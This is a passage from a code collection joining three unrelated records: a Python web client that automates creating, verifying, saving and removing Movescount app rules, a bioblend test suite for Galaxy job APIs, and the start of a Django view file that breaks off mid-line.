'ctl00$fullWidthPageContent$ctl00$ctl00$PictureSlicer1$UploadFromWeb'\r\n asyncTarget = 'ctl00$fullWidthPageContent$ctl00$ctl00$PictureSlicer1$ImportBrowseButton'\r\n updatePanelIDs = [\r\n 'ctl00$fullWidthPageContent$ctl00$ctl00$RuleImageUpdatePanel',\r\n 'ctl00$fullWidthPageContent$ctl00$ctl00$PictureSlicer1$RootUpdatePanel',\r\n 'ctl00$fullWidthPageContent$ctl00$ctl00$PictureSlicer1$CropUpdatePanel',\r\n 'ctl00$fullWidthPageContent$ctl00$ctl00$PictureSlicer1$UploadFromWeb',\r\n 'ctl00$fullWidthPageContent$ctl00$ctl00$PictureSlicer1$UpdatePanel1',\r\n 'ctl00$fullWidthPageContent$ctl00$ctl00$PictureSlicer1$CancelButtonUpdatePanel',\r\n 'ctl00$fullWidthPageContent$ctl00$ctl00$PictureSlicer1$CropButtonUpdatePanel'\r\n ]\r\n aspnetForm_ActivityDropDownList = aspnetForm_selects['options']['activity']\r\n if(not (Activity in aspnetForm_ActivityDropDownList)):\r\n Activity = 'Select'\r\n aspnetForm_CategoryDropDownList = aspnetForm_selects['options']['category']\r\n if(not (Category in aspnetForm_CategoryDropDownList)):\r\n Category = 'Training'\r\n ct100_query_dict[scriptManagerID] = \"ctl00$fullWidthPageContent$ctl00$ctl00$PictureSlicer1$UploadFromWeb|ctl00$fullWidthPageContent$ctl00$ctl00$PictureSlicer1$ImportBrowseButton\"\r\n ct100_query_dict['ctl00$topArea$ActivityDropDownList'] = str(aspnetForm_ActivityDropDownList[Activity])\r\n ct100_query_dict['ctl00$topArea$PublicityDropDownList'] = 'false' \r\n ct100_query_dict['ctl00$topArea$CategoryDropDownList'] = str(aspnetForm_CategoryDropDownList[Category])\r\n ct100_query_dict['ctl00$topArea$DescriptionTextBox'] = DescriptionText\r\n ct100_query_dict['ctl00$topArea$RuleNameTextBox'] = RuleNameText \r\n ct100_query_dict['ctl00$topArea$TagsTextBox'] = TagsText \r\n ct100_query_dict['ctl00$topArea$WebsiteTextBox'] = WebsiteText\r\n ct100_query_dict['__EVENTTARGET'] = aspnetForm_input_dict['__EVENTTARGET']\r\n ct100_query_dict['__EVENTARGUMENT'] = aspnetForm_input_dict['__EVENTARGUMENT']\r\n ct100_query_dict['__VIEWSTATE'] = aspnetForm_input_dict['__VIEWSTATE']\r\n ct100_query_dict['__VIEWSTATEGENERATOR'] = aspnetForm_input_dict['__VIEWSTATEGENERATOR']\r\n ct100_query_dict['__EVENTVALIDATION'] = aspnetForm_input_dict['__EVENTVALIDATION']\r\n ct100_query_dict['ctl00$fullWidthPageContent$ctl00$ctl00$RuleImageHf'] = aspnetForm_input_dict['ctl00$fullWidthPageContent$ctl00$ctl00$RuleImageHf']\r\n ct100_query_dict['ctl00$fullWidthPageContent$ctl00$ctl00$PictureSlicer1$VisibilityHf'] = aspnetForm_input_dict['ctl00$fullWidthPageContent$ctl00$ctl00$PictureSlicer1$VisibilityHf']\r\n ct100_query_dict['ctl00$fullWidthPageContent$ctl00$ctl00$PictureSlicer1$LinkTextBox'] = aspnetForm_input_dict['ctl00$fullWidthPageContent$ctl00$ctl00$PictureSlicer1$LinkTextBoxButton']\r\n ct100_query_dict['ctl00$fullWidthPageContent$ctl00$ctl00$PictureSlicer1$HiddenImageName'] = aspnetForm_input_dict['ctl00$fullWidthPageContent$ctl00$ctl00$PictureSlicer1$HiddenImageName']\r\n ct100_query_dict['ctl00$fullWidthPageContent$ctl00$ctl00$PictureSlicer1$CroppedImageNameField'] = aspnetForm_input_dict['ctl00$fullWidthPageContent$ctl00$ctl00$PictureSlicer1$CroppedImageNameField']\r\n ct100_query_dict['ctl00$fullWidthPageContent$ctl00$ctl00$PictureSlicer1$X'] = aspnetForm_input_dict['ctl00$fullWidthPageContent$ctl00$ctl00$PictureSlicer1$X']\r\n ct100_query_dict['ctl00$fullWidthPageContent$ctl00$ctl00$PictureSlicer1$Y'] = aspnetForm_input_dict['ctl00$fullWidthPageContent$ctl00$ctl00$PictureSlicer1$Y']\r\n ct100_query_dict['ctl00$fullWidthPageContent$ctl00$ctl00$PictureSlicer1$W'] = aspnetForm_input_dict['ctl00$fullWidthPageContent$ctl00$ctl00$PictureSlicer1$W']\r\n ct100_query_dict['ctl00$fullWidthPageContent$ctl00$ctl00$PictureSlicer1$H'] = aspnetForm_input_dict['ctl00$fullWidthPageContent$ctl00$ctl00$PictureSlicer1$H']\r\n ct100_query_dict['__ASYNCPOST'] = 'true'\r\n ct100_query_dict[''] = ''\r\n return(ct100_query_dict)\r\n\r\n\r\ndef movescount_crop_icon_image(src_img_name,x=0,y=0,w=61,h=45):\r\n dst_img_name = ''.join(('cropped_',src_img_name))\r\n img = Image.open(src_img_name)\r\n img = img.crop( (x,y,w,h) )\r\n #img.thumbnail([200, 200], Image.ANTIALIAS)\r\n file_destination=dst_img_name\r\n imagefile = open(file_destination, 'wb')\r\n try:\r\n img.save(imagefile, \"png\", quality=90)\r\n imagefile.close()\r\n except:\r\n return()\r\n else:\r\n pass\r\n return(dst_img_name)\r\n\r\ndef movescount_get_temp_uploaded_img_url(info_container,records_container,icon_img_name = 'test_icon.png'):\r\n # info_container,records_container,temp_img_url = movescount_get_temp_uploaded_img_url(info_container,records_container,icon_img_name)\r\n info_container['req_head']['Referer'] = info_container['url']\r\n info_container['req_head']['Cache-Control'] = 'no-cache'\r\n netloc = urllib.parse.urlparse(info_container['base_url']).netloc\r\n info_container['url'] = ''.join((\"http://\",netloc,\"/ImageHandler.ashx\"))\r\n boundary = ''.join(('--',nvjq.jQuery_unix_now(14)))\r\n multitipary_header_dict = {\r\n 0: ('', 'multipart/form-data'), \r\n 1: ('boundary', boundary), \r\n 'name': 'Content-Type'\r\n }\r\n info_container['req_head']['Content-Type'] = nvhead.encode_one_http_head(multitipary_header_dict,'Content-Type','; ')\r\n dispositions = {}\r\n dispositions[0] = {\r\n 'headers': {\r\n 0: {\r\n 0: ('', 'form-data'), \r\n 1: ('name', '\"Filedata\"'),\r\n 2: ('filename', '\"test_logo.png\"'), \r\n 'name': 'Content-Disposition'\r\n }, \r\n 1: {\r\n 0: ('', 'image/png'),\r\n 'name': 'Content-Type'\r\n }\r\n }, \r\n 'body': nvft.read_file_content(fn=icon_img_name,op='rb').decode('latin')\r\n }\r\n multipart_text = nvbody.encode_multipart_dict(boundary,dispositions,multitipary_header_dict,with_multitipary_header=0)\r\n multipart_bin = bytes(multipart_text,'latin')\r\n info_container['method'] = 'POST'\r\n info_container['req_body'] = multipart_bin\r\n info_container = nvsoli.walkon(info_container,records_container=records_container)\r\n charset = nvhead.get_content_type_from_resp(info_container['resp'])['charset']\r\n temp_img_url = ''.join(('http:',info_container['resp_body_bytes'].decode(charset)))\r\n return((info_container,records_container,temp_img_url))\r\n\r\ndef movescount_creat_icon_crop_dict(ct100_query_dict,kwargs_dict):\r\n #ct100_query_dict = \r\n #上传修改后的image参数 X Y W H\r\n scriptManagerID = 'ctl00$MainScriptManager'\r\n ct100_query_dict[scriptManagerID] = \"ctl00$fullWidthPageContent$ctl00$ctl00$PictureSlicer1$CropButtonUpdatePanel|ctl00$fullWidthPageContent$ctl00$ctl00$PictureSlicer1$CropButton\"\r\n ct100_query_dict['__EVENTTARGET'] = \"ctl00$fullWidthPageContent$ctl00$ctl00$PictureSlicer1$CropButton\"\r\n #crop 图片\r\n ct100_query_dict['ctl00$fullWidthPageContent$ctl00$ctl00$RuleImageHf'] = 'True'\r\n ct100_query_dict['ctl00$fullWidthPageContent$ctl00$ctl00$PictureSlicer1$VisibilityHf'] = ''\r\n ct100_query_dict['ctl00$fullWidthPageContent$ctl00$ctl00$PictureSlicer1$LinkTextBox'] = ''\r\n ct100_query_dict['ctl00$fullWidthPageContent$ctl00$ctl00$PictureSlicer1$HiddenImageName'] = kwargs_dict['tempImageURL']\r\n ## 上一步上传的图片的url\r\n ct100_query_dict['ctl00$fullWidthPageContent$ctl00$ctl00$PictureSlicer1$CroppedImageNameField'] = ''\r\n ct100_query_dict['ctl00$fullWidthPageContent$ctl00$ctl00$PictureSlicer1$X'] = kwargs_dict['X']\r\n ct100_query_dict['ctl00$fullWidthPageContent$ctl00$ctl00$PictureSlicer1$Y'] = kwargs_dict['Y']\r\n ct100_query_dict['ctl00$fullWidthPageContent$ctl00$ctl00$PictureSlicer1$W'] = kwargs_dict['W']\r\n ct100_query_dict['ctl00$fullWidthPageContent$ctl00$ctl00$PictureSlicer1$H'] = kwargs_dict['H']\r\n #\r\n ct100_query_dict['ctl00$topArea$DescriptionTextBox'] = kwargs_dict['DescriptionText']\r\n ct100_query_dict['ctl00$topArea$RuleNameTextBox'] = kwargs_dict['RuleNameText'] \r\n ct100_query_dict['ctl00$topArea$TagsTextBox'] = kwargs_dict['TagsText'] \r\n ct100_query_dict['ctl00$topArea$WebsiteTextBox'] = kwargs_dict['WebsiteText']\r\n return(ct100_query_dict)\r\n\r\n\r\ndef movescount_creat_save_dict_template_dict_file(name=str(nvjq.jQuery_random_number()),fn='save_dict_template.js'):\r\n s1 = '{\\n \"rule\": \\n {\\n \"CategoryID\": 0, \\n \"RuleID\": 0, \\n \"Description\": \"------DESCRIPTION----\", \\n \"Tags\": \\n [\\n \"----TAGS---\"\\n ], \\n \"Source\": \"/* While in sport mode do this once per second */\\\\nRESULT = SUUNTO_SWIMMING_POOL_LENGTH;\", \\n \"ActivityID\": 6, \\n \"Name\": \"'\r\n s2 = '\", \\n \"Prefix\": \"PRE\", \\n \"OutputFormatID\": 1, \\n \"Postfix\": \"POS\", \\n \"WebSiteURL\": \"http://www.dapeli.com\", \\n \"UserVariables\": \\n [\\n {\\n \"Name\": \"OWNVAR1\", \\n \"Value\": 0\\n }, \\n {\\n \"Name\": \"OWNVAR2\", \\n \"Value\": 200\\n }\\n ], \\n \"SourceTree\": null, \\n \"SimulationValues\": \\n [\\n {\\n \"Name\": \"SUUNTO_SWIMMING_POOL_LENGTH\", \\n \"Value\": 100\\n }\\n ]\\n }\\n}\\n'\r\n s = s1 + name + s2 \r\n nvft.write_to_file(fn=fn,op='w',content=s)\r\n\r\ndef movescount_get_save_dict_template_params_from_file(name=str(nvjq.jQuery_random_number()),fn='save_dict_template.js'):\r\n fp = open(fn,'r')\r\n save_dict_template_params = json.loads(fp.read(),strict=False)\r\n save_dict_template_params['Name'] = name \r\n return(save_dict_template_params)\r\n\r\ndef movescount_get_creat_app_body_query_str(info_container,records_container,icon_img_name,icon_crop_kwargs_params={},save_dict_template_params={}):\r\n info_container,records_container,app_creat_root = get_app_creat_root(info_container,records_container)\r\n aspnetForm_input_dict = movescount_get_aspnetForm_input_dict(app_creat_root)\r\n aspnetForm_text_dict = movescount_get_aspnetForm_text_dict(app_creat_root)\r\n aspnetForm_seclects = movescount_get_aspnetForm_selects(app_creat_root)\r\n ct100_query_dict = movescount_creat_ct100_query_dict_template(aspnetForm_input_dict,aspnetForm_seclects)\r\n icon_crop_kwargs = {\r\n 'Activity' : '',\r\n 'Category' : '',\r\n 'DescriptionText' : '',\r\n 'RuleNameText' : '',\r\n 'TagsText' : '',\r\n 'WebsiteText' : '',\r\n 'tempImageURL': '',\r\n 'X':0,\r\n 'Y':0,\r\n 'W':61,\r\n 'H':45\r\n }\r\n for key in icon_crop_kwargs_params:\r\n if(key in icon_crop_kwargs):\r\n icon_crop_kwargs[key] = icon_crop_kwargs_params[key]\r\n dst_img_name = movescount_crop_icon_image(icon_img_name,icon_crop_kwargs['X'],icon_crop_kwargs['Y'],icon_crop_kwargs['W'],icon_crop_kwargs['H'])\r\n info_container,records_container,temp_img_url = movescount_get_temp_uploaded_img_url(info_container,records_container,dst_img_name)\r\n icon_crop_kwargs['tempImageURL'] = temp_img_url\r\n ct100_query_dict = movescount_creat_icon_crop_dict(ct100_query_dict,icon_crop_kwargs)\r\n info_container['req_head']['Content-Type'] = 'application/x-www-form-urlencoded; charset=utf-8'\r\n info_container['method'] = 'POST'\r\n info_container['req_body'] = nvurl.urlencode(ct100_query_dict)\r\n netloc = urllib.parse.urlparse(info_container['base_url']).netloc\r\n info_container['url'] = ''.join((\"http://\",netloc,\"/apps/app\"))\r\n info_container = nvsoli.walkon(info_container,records_container=records_container)\r\n charset = nvhead.get_content_type_from_resp(info_container['resp'])['charset']\r\n html_text = info_container['resp_body_bytes'].decode(charset) \r\n if(html_text == ''):\r\n html_text=''\r\n else:\r\n pass\r\n root = etree.HTML(html_text)\r\n eles = root.xpath('//div/img[@class=\"upload-img\"]')\r\n RuleImage_url_post_crop = ''.join(('http',eles[0].get('src')))\r\n eles = root.xpath('//div/input[@id=\"ctl00_fullWidthPageContent_ctl00_ctl00_RuleImageHf\"]')\r\n RuleImageHf_relative_url_post_crop = eles[0].get('value')\r\n save_dict_template = {\r\n \"rule\": {\r\n \"OutputFormatID\": 1,\r\n \"Postfix\": \"POS\",\r\n \"Prefix\": \"PRE\",\r\n \"SourceTree\": None,\r\n #None will be transed to null by json\r\n \"Source\": \"/* While in sport mode do this once per second */\\nRESULT = SUUNTO_SWIMMING_POOL_LENGTH;\",\r\n \"UserVariables\": [{\r\n \"Name\": \"OWNVAR1\",\r\n \"Value\": 0\r\n }, {\r\n \"Name\": \"OWNVAR2\",\r\n \"Value\": 200\r\n }],\r\n \"SimulationValues\": [{\r\n \"Name\": \"SUUNTO_SWIMMING_POOL_LENGTH\",\r\n \"Value\": 100\r\n }],\r\n \"RuleID\": 0,\r\n \"ImageURL\": RuleImageHf_relative_url_post_crop,\r\n \"Name\": \"TEST-UPLOAD-\",\r\n \"ActivityID\": 6,\r\n \"IsPublic\": False,\r\n #False will be transed to false by json\r\n \"CategoryID\": 0,\r\n \"Description\": \"------DESCRIPTION----\",\r\n \"Tags\": [\"----TAGS---\"],\r\n \"WebSiteURL\": \"http://www.dapeli.com\"\r\n }\r\n }\r\n for key in save_dict_template_params:\r\n if(key in save_dict_template):\r\n save_dict_template[key] = save_dict_template_params[key]\r\n save_query_string = json.dumps(save_dict_template)\r\n verify_dict_template = {\r\n \"rule\": {\r\n \"OutputFormatID\": save_dict_template['rule']['OutputFormatID'],\r\n \"Postfix\": save_dict_template['rule']['Postfix'],\r\n \"Prefix\": save_dict_template['rule']['Prefix'],\r\n \"SourceTree\": save_dict_template['rule']['SourceTree'],\r\n \"Source\": save_dict_template['rule']['Source'],\r\n \"UserVariables\": save_dict_template['rule']['UserVariables'],\r\n \"SimulationValues\": save_dict_template['rule']['SimulationValues'],\r\n \"Name\": save_dict_template['rule']['Name']\r\n }\r\n }\r\n verify_query_string = json.dumps(verify_dict_template)\r\n return((info_container,records_container,save_query_string,verify_query_string))\r\n\r\n \r\ndef movescount_verify(info_container,records_container,verify_query_string):\r\n netloc = urllib.parse.urlparse(info_container['base_url']).netloc\r\n info_container['url'] = ''.join((\"http://\",netloc,\"/services/RuleDesignerVerifyRule\"))\r\n info_container['method'] = 'POST'\r\n info_container['req_head']['Content-Type'] = 'application/json; charset=utf-8'\r\n info_container['req_head']['Accept'] = 'application/json, text/javascript, */*; q=0.01'\r\n info_container['req_head']['X-Requested-With'] = 'XMLHttpRequest'\r\n info_container['req_body'] = verify_query_string\r\n info_container = nvsoli.walkon(info_container,records_container=records_container)\r\n charset = nvhead.get_content_type_from_resp(info_container['resp'])['charset']\r\n html_text = info_container['resp_body_bytes'].decode(charset)\r\n verify_rslt_dict = json.loads(html_text)\r\n pobj(verify_rslt_dict)\r\n return(verify_rslt_dict)\r\n\r\n\r\ndef movescount_save(info_container,records_container,save_query_string):\r\n netloc = urllib.parse.urlparse(info_container['base_url']).netloc\r\n info_container['url'] = ''.join((\"http://\",netloc,\"/services/RuleDesignerSaveRule\"))\r\n info_container['req_head']['Content-Type'] = 'application/json; charset=utf-8'\r\n info_container['req_head']['Accept'] = 'application/json, text/javascript, */*; q=0.01'\r\n info_container['req_head']['X-Requested-With'] = 'XMLHttpRequest'\r\n info_container['method'] = 'POST'\r\n info_container['req_body'] = save_query_string\r\n info_container = nvsoli.walkon(info_container,records_container=records_container)\r\n charset = nvhead.get_content_type_from_resp(info_container['resp'])['charset']\r\n html_text = info_container['resp_body_bytes'].decode(charset)\r\n save_rslt_dict = json.loads(html_text)\r\n Name = str(save_rslt_dict['d']['Value']['RuleInfo']['Rule']['Name'])\r\n RuleID = str(save_rslt_dict['d']['Value']['RuleInfo']['Rule']['RuleID'])\r\n app_url = ''.join((info_container['base_url'],'apps/app',RuleID,'-',Name))\r\n pobj(save_rslt_dict)\r\n return((info_container,records_container,app_url,RuleID,save_rslt_dict))\r\n\r\n#\r\ndef movecount_remove(info_container,records_container,app_url,RuleID):\r\n remove_query_string = json.dumps({\"ruleId\":RuleID})\r\n netloc = urllib.parse.urlparse(info_container['base_url']).netloc\r\n info_container['url'] = ''.join((\"http://\",netloc,\"/services/RemoveRule\"))\r\n info_container['req_head']['Content-Type'] = 'application/json; charset=utf-8'\r\n info_container['req_head']['Accept'] = 'application/json, text/javascript, */*; q=0.01'\r\n info_container['req_head']['X-Requested-With'] = 'XMLHttpRequest'\r\n info_container['req_head']['Referer'] = app_url\r\n info_container['method'] = 'POST'\r\n info_container['req_body'] = remove_query_string\r\n info_container = nvsoli.walkon(info_container,records_container=records_container)\r\n charset = nvhead.get_content_type_from_resp(info_container['resp'])['charset']\r\n html_text = info_container['resp_body_bytes'].decode(charset)\r\n remove_rslt_dict = json.loads(html_text)\r\n pobj(remove_rslt_dict)\r\n return(remove_rslt_dict)\r\n \r\ndef movecount_pull_save_template_dict(info_container,records_container,app_url):\r\n #save_template_dict_for_edit,full_info_for_edit = movecount_pull_save_template_dict(info_container,records_container,app_url)\r\n info_container['url'] = app_url\r\n info_container['method'] = 'GET'\r\n info_container = nvsoli.walkon(info_container,records_container=records_container)\r\n charset = nvhead.get_content_type_from_resp(info_container['resp'])['charset'] \r\n html_text = info_container['resp_body_bytes'].decode(charset)\r\n if(html_text == ''):\r\n html_text=''\r\n else:\r\n pass\r\n root = etree.HTML(html_text)\r\n eles = root.xpath('//form/script')\r\n script = eles[-1].text\r\n regex = re.compile('mc.RulePage.default.main\\((.*)\\)')\r\n m = regex.search(script)\r\n js = m.group(1)\r\n d = json.loads(js,strict=False)\r\n return((d['rule'],d))\r\n \r\ndef movecount_edit(info_container,records_container,app_url,save_template_dict_for_edit,save_dict_template_params={}):\r\n #save_template_dict_for_edit,full_info_for_edit = movecount_pull_save_template_dict(info_container,records_container,app_url)\r\n #pobj(save_template_dict_for_edit)\r\n #save_dict_template_params = \r\n #movecount_edit(info_container,records_container,app_url,save_template_dict_for_edit,save_dict_template_params)\r\n for key in save_dict_template_params:\r\n if(key in save_template_dict_for_edit):\r\n save_template_dict_for_edit[key] = save_dict_template_params[key]\r\n save_query_string = json.dumps(save_template_dict_for_edit)\r\n rslt = movescount_save(info_container,records_container,save_query_string)\r\n return(rslt)\r\n\r\n\r\n# ---------------------------------------------------- \r\n\r\n","repo_name":"ihgazni/SuuntoAppsDevToolSet","sub_path":"MCWEBCLIENT/PYMCSETUP/movescount.py","file_name":"movescount.py","file_ext":"py","file_size_in_byte":46202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"2394418514","text":"import os\nfrom datetime import (\n datetime,\n timedelta,\n)\nfrom operator import itemgetter\nfrom typing import Literal\n\nfrom bioblend.galaxy.tools.inputs import (\n dataset,\n inputs,\n)\nfrom . import (\n GalaxyTestBase,\n test_util,\n)\n\n\nclass TestGalaxyJobs(GalaxyTestBase.GalaxyTestBase):\n def setUp(self):\n super().setUp()\n self.history_id = self.gi.histories.create_history(name=\"TestGalaxyJobs\")[\"id\"]\n self.dataset_contents = \"line 1\\nline 2\\rline 3\\r\\nline 4\"\n self.dataset_id = self._test_dataset(self.history_id, contents=self.dataset_contents)\n\n def tearDown(self):\n self.gi.histories.delete_history(self.history_id, purge=True)\n\n @test_util.skip_unless_tool(\"cat1\")\n def test_wait_for_job(self):\n tool_inputs = inputs().set(\"input1\", dataset(self.dataset_id))\n tool_output = self.gi.tools.run_tool(history_id=self.history_id, tool_id=\"cat1\", tool_inputs=tool_inputs)\n job_id = tool_output[\"jobs\"][0][\"id\"]\n job = self.gi.jobs.wait_for_job(job_id)\n assert job[\"state\"] == \"ok\"\n\n @test_util.skip_unless_tool(\"random_lines1\")\n def test_get_jobs(self):\n self._run_tool()\n self._run_tool()\n\n jobs = self.gi.jobs.get_jobs(tool_id=\"random_lines1\", history_id=self.history_id)\n assert len(jobs) == 2\n jobs = self.gi.jobs.get_jobs(history_id=self.history_id, state=\"failed\")\n assert len(jobs) == 0\n yesterday = datetime.today() - timedelta(days=1)\n jobs = self.gi.jobs.get_jobs(date_range_max=yesterday.strftime(\"%Y-%m-%d\"), history_id=self.history_id)\n assert len(jobs) == 0\n tomorrow = datetime.today() + timedelta(days=1)\n jobs = self.gi.jobs.get_jobs(date_range_min=tomorrow.strftime(\"%Y-%m-%d\"))\n assert len(jobs) == 0\n jobs = self.gi.jobs.get_jobs(date_range_min=datetime.today().strftime(\"%Y-%m-%d\"), history_id=self.history_id)\n assert len(jobs) == 3\n\n @test_util.skip_unless_galaxy(\"release_21.05\")\n def test_get_jobs_with_filtering(self):\n path = test_util.get_abspath(os.path.join(\"data\", \"paste_columns.ga\"))\n workflow_id = self.gi.workflows.import_workflow_from_local_path(path)[\"id\"]\n dataset = {\"src\": \"hda\", \"id\": self.dataset_id}\n invocation1 = self.gi.workflows.invoke_workflow(\n workflow_id,\n inputs={\"Input 1\": dataset, \"Input 2\": dataset},\n history_id=self.history_id,\n inputs_by=\"name\",\n )\n invocation2 = self.gi.workflows.invoke_workflow(\n workflow_id,\n inputs={\"Input 1\": dataset, \"Input 2\": dataset},\n history_id=self.history_id,\n inputs_by=\"name\",\n )\n self.gi.invocations.wait_for_invocation(invocation1[\"id\"])\n self.gi.invocations.wait_for_invocation(invocation2[\"id\"])\n\n all_jobs = self.gi.jobs.get_jobs(history_id=self.history_id, order_by=\"create_time\")\n assert len(all_jobs) == 3\n job1_id = all_jobs[1][\"id\"]\n jobs = self.gi.jobs.get_jobs(history_id=self.history_id, limit=1, offset=1, order_by=\"create_time\")\n assert len(jobs) == 1\n assert jobs[0][\"id\"] == job1_id\n jobs = self.gi.jobs.get_jobs(invocation_id=invocation1[\"id\"])\n assert len(jobs) == 1\n job_id_inv = jobs[0][\"id\"]\n jobs = self.gi.jobs.get_jobs(workflow_id=workflow_id)\n assert len(jobs) == 2\n assert job_id_inv in [job[\"id\"] for job in jobs]\n\n @test_util.skip_unless_galaxy(\"release_21.01\")\n @test_util.skip_unless_tool(\"random_lines1\")\n def test_run_and_rerun_random_lines(self):\n original_output = self._run_tool(input_format=\"21.01\")\n original_job_id = original_output[\"jobs\"][0][\"id\"]\n\n rerun_output = self.gi.jobs.rerun_job(original_job_id)\n original_output_content = self.gi.datasets.download_dataset(original_output[\"outputs\"][0][\"id\"])\n rerun_output_content = self.gi.datasets.download_dataset(rerun_output[\"outputs\"][0][\"id\"])\n assert rerun_output_content == original_output_content\n\n @test_util.skip_unless_galaxy(\"release_21.01\")\n @test_util.skip_unless_tool(\"Show beginning1\")\n def test_rerun_and_remap(self):\n path = test_util.get_abspath(os.path.join(\"data\", \"select_first.ga\"))\n wf = self.gi.workflows.import_workflow_from_local_path(path)\n wf_inputs = {\n \"0\": {\"src\": \"hda\", \"id\": self.dataset_id},\n \"1\": \"-1\",\n }\n invocation_id = self.gi.workflows.invoke_workflow(wf[\"id\"], inputs=wf_inputs, history_id=self.history_id)[\"id\"]\n invocation = self.gi.invocations.wait_for_invocation(invocation_id)\n job_steps = [step for step in invocation[\"steps\"] if step[\"job_id\"]]\n job_steps.sort(key=itemgetter(\"order_index\"))\n try:\n self.gi.jobs.wait_for_job(job_steps[0][\"job_id\"])\n except Exception:\n pass # indicates the job failed as expected\n else:\n raise Exception(\"The job should have failed\")\n\n history_contents = self.gi.histories.show_history(self.history_id, contents=True)\n assert len(history_contents) == 3\n assert history_contents[1][\"state\"] == \"error\"\n assert history_contents[2][\"state\"] == \"paused\"\n\n # resume the paused step job\n resumed_outputs = self.gi.jobs.resume_job(job_steps[-1][\"job_id\"])\n assert resumed_outputs[0][\"name\"] == \"out_file1\"\n # the following does not pass stably - the job goes back to paused too quickly\n # history_contents_resumed = self.gi.histories.show_history(self.history_id, contents=True)\n # assert history_contents_resumed[2][\"state\"] != \"paused\"\n\n # now rerun and remap with correct input param\n failed_job_id = self.gi.datasets.show_dataset(history_contents[1][\"id\"])[\"creating_job\"]\n tool_inputs_update = {\"lineNum\": \"1\"}\n rerun_job = self.gi.jobs.rerun_job(failed_job_id, remap=True, tool_inputs_update=tool_inputs_update)\n new_job_id = rerun_job[\"jobs\"][0][\"id\"]\n\n # Wait for the last dataset in the history to be unpaused and complete\n last_dataset = self.gi.histories.show_history(self.history_id, contents=True)[-1]\n last_job_id = self.gi.datasets.show_dataset(last_dataset[\"id\"])[\"creating_job\"]\n self.gi.jobs.wait_for_job(new_job_id)\n self.gi.jobs.resume_job(last_job_id) # last_job can get stuck on paused - resume it in case\n self.gi.jobs.wait_for_job(last_job_id)\n assert last_dataset[\"hid\"] == 3\n assert last_dataset[\"id\"] == history_contents[2][\"id\"]\n self._wait_and_verify_dataset(last_dataset[\"id\"], b\"line 1\\tline 1\\n\")\n\n @test_util.skip_unless_galaxy(\"release_19.05\")\n @test_util.skip_unless_tool(\"random_lines1\")\n def test_get_common_problems(self):\n job_id = self._run_tool()[\"jobs\"][0][\"id\"]\n response = self.gi.jobs.get_common_problems(job_id)\n assert response == {\"has_duplicate_inputs\": False, \"has_empty_inputs\": True}\n\n @test_util.skip_unless_tool(\"random_lines1\")\n def test_get_inputs(self):\n job_id = self._run_tool()[\"jobs\"][0][\"id\"]\n response = self.gi.jobs.get_inputs(job_id)\n assert response == [{\"name\": \"input\", \"dataset\": {\"src\": \"hda\", \"id\": self.dataset_id}}]\n\n @test_util.skip_unless_tool(\"random_lines1\")\n def test_get_outputs(self):\n output = self._run_tool()\n job_id, output_id = output[\"jobs\"][0][\"id\"], output[\"outputs\"][0][\"id\"]\n response = self.gi.jobs.get_outputs(job_id)\n assert response == [{\"name\": \"out_file1\", \"dataset\": {\"src\": \"hda\", \"id\": output_id}}]\n\n @test_util.skip_unless_galaxy(\"release_20.05\")\n @test_util.skip_unless_tool(\"random_lines1\")\n def test_get_destination_params(self):\n job_id = self._run_tool()[\"jobs\"][0][\"id\"]\n # In Galaxy 20.05 and 20.09 we need to wait for the job, otherwise\n # `get_destination_params()` receives a 500 error code. Fixed upstream\n # in https://github.com/galaxyproject/galaxy/commit/3e7f03cd1f229b8c9421ade02002728a33e131d8\n self.gi.jobs.wait_for_job(job_id)\n response = self.gi.jobs.get_destination_params(job_id)\n assert \"Runner\" in response\n assert \"Runner Job ID\" in response\n assert \"Handler\" in response\n\n @test_util.skip_unless_tool(\"random_lines1\")\n def test_search_jobs(self):\n job_id = self._run_tool()[\"jobs\"][0][\"id\"]\n inputs = {\n \"num_lines\": \"1\",\n \"input\": {\"src\": \"hda\", \"id\": self.dataset_id},\n \"seed_source|seed_source_selector\": \"set_seed\",\n \"seed_source|seed\": \"asdf\",\n }\n response = self.gi.jobs.search_jobs(\"random_lines1\", inputs)\n assert job_id in [job[\"id\"] for job in response]\n\n @test_util.skip_unless_galaxy(\"release_20.01\")\n @test_util.skip_unless_tool(\"random_lines1\")\n def test_report_error(self):\n output = self._run_tool()\n job_id, output_id = output[\"jobs\"][0][\"id\"], output[\"outputs\"][0][\"id\"]\n response = self.gi.jobs.report_error(job_id, output_id, \"Test error\")\n # expected response when the Galaxy server does not have mail configured\n assert response == {\n \"messages\": [\n [\n \"An error occurred sending the report by email: Mail is not configured for this Galaxy instance\",\n \"danger\",\n ]\n ]\n }\n\n @test_util.skip_unless_galaxy(\"release_20.05\")\n def test_show_job_lock(self):\n status = self.gi.jobs.show_job_lock()\n assert not status\n\n @test_util.skip_unless_galaxy(\"release_20.05\")\n def test_update_job_lock(self):\n status = self.gi.jobs.update_job_lock(active=True)\n assert status\n status = self.gi.jobs.update_job_lock(active=False)\n assert not status\n\n def test_cancel_job(self):\n job_id = self._run_tool()[\"jobs\"][0][\"id\"]\n self.gi.jobs.cancel_job(job_id)\n job = self.gi.jobs.wait_for_job(job_id, check=False)\n assert job[\"state\"] in (\"deleted\", \"deleting\")\n\n def _run_tool(self, input_format: Literal[\"21.01\", \"legacy\"] = \"legacy\") -> dict:\n return super()._run_random_lines1(self.history_id, self.dataset_id, input_format=input_format)\n","repo_name":"galaxyproject/bioblend","sub_path":"bioblend/_tests/TestGalaxyJobs.py","file_name":"TestGalaxyJobs.py","file_ext":"py","file_size_in_byte":10312,"program_lang":"python","lang":"en","doc_type":"code","stars":84,"dataset":"github-code","pt":"48"} +{"seq_id":"17072667202","text":"from django.shortcuts import render, redirect\nfrom django.contrib import messages\nfrom django.db import connection\nfrom django.views import View\nfrom django.http import HttpResponse\n\nfrom core.utils import check_owner, check_customer\nfrom core.utils import verify_auth_token\n\nfrom .utils import save_cycle_photo\nfrom cycloan.settings import CYCLE_AVAILABLE, CYCLE_BOOKED, CYCLE_DELETED\n\nfrom cycloan.settings import TRIP_REQUESTED, TRIP_ONGOING, TRIP_REJECTED, TRIP_COMPLETED, TRIP_REVIEWED\nfrom cycloan.settings import DLONG, DLAT\nfrom datetime import datetime\n\n\n\nclass CycleDetailsView(View):\n\n @verify_auth_token\n def get(self, request, cycle_id):\n cursor = connection.cursor()\n sql = \"SELECT COUNT(*) FROM CYCLE WHERE CYCLE_ID = %s\"\n cursor.execute(sql, [cycle_id])\n cycle_count = cursor.fetchall()\n cursor.close()\n\n if cycle_count[0][0] == 